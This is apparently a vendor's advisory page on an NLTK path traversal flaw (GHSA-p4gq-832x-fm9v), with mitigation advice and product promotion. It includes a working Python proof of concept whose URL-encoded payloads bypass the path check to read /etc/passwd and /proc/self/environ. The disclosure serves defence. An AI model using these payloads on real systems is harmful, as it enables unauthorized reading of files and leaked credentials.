Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-p4gq-832x-fm9v

HIGHFix: nltk/nltk#3575

GHSA-p4gq-832x-fm9v is a high-severity (CVSS 7.5) Path Traversal vulnerability in nltk. O3 Security confirms whether GHSA-p4gq-832x-fm9v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

Also known asCVE-2026-54293PYSEC-2026-2078
Published
Jun 16, 2026
Updated
Jul 21, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-p4gq-832x-fm9v.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.00%0.35%0.70%1.05%0.4%0.6%0.6%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-p4gq-832x-fm9v plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings

# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)

# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0

    # --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()

    # --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()

    # --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

fix

https://github.com/nltk/nltk/pull/3575

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPInltkall versions3.10.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update nltk to 3.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p4gq-832x-fm9v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-p4gq-832x-fm9v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-p4gq-832x-fm9v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability is rated Important because a remote attacker may be able to read arbitrary local files on a system where an application passes untrusted input to nltk.data.load() using the nltk: URL scheme. Exploitation requires an application that loads NLTK resources from attacker-influenced identifiers. Many Red…

Frequently Asked Questions

### Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and
O3 Security · Impact-Aware SCA

Is GHSA-p4gq-832x-fm9v in your dependencies?

O3 detects GHSA-p4gq-832x-fm9v across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.